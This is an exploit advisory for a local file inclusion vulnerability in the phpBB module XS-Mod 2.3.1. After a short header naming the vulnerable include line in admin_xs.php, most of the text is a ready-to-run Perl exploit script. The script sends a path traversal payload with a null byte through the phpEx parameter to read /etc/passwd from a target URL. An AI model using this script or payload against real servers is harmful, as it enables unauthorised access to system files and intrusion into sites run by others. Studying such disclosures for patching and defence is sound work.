phpBB Module XS-Mod 2.3.1 Local File Inclusion Vulnerability

          ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.           .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.           ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.           .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.           ..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..           ................................................................. [+] Software: phpBB Module XS 2.3.1 [+] Vendor: http://www.phpbbmods.de [+] Download: http://www.phpbbmods.de/downloads.php?view=detail&id=3 [~] Vulnerability found by: bd0rk [~] Contact: bd0rk[at]hackermail.com [~] Website: http://www.soh-crew.it.tt [~] Greetings: str0ke, TheJT, maria [+] Vulnerable Code in /admin/admin_xs.php line 33 [+] Code: include_once('xs_include.' . $phpEx); [+] It is a local file inclusion [+]Exploitcode: use LWP::UserAgent; use HTTP::Request; use LWP::Simple; print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"; print "\t\t+                                                 +\n\n"; print "\t\t+ phpBB Module XS 2.3.1 Local File Inclusion Expl +\n\n"; print "\t\t+                                                 +\n\n"; print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"; if (!$ARGV[0]) { print "Usage: expl.pl [target]\n"; print "Example: expl.pl http://127.0.0.1/directory/admin/\n"; } else { $web=$ARGV[0]; chomp $web; $file="admin_xs.php?phpEx=../../../../../../../../../../../../../../../../etc/passwd%00"; my $web1=$web.$file; print "$web1\n\n"; my $agent = LWP::UserAgent->new; my $req=HTTP::Request->new(GET=>$web1); $doc = $agent->request($req)->as_string; if ($doc=~ /^root/moxis ){ print "This is vulnerable\n"; } else { print "It is not vulnerable\n"; } }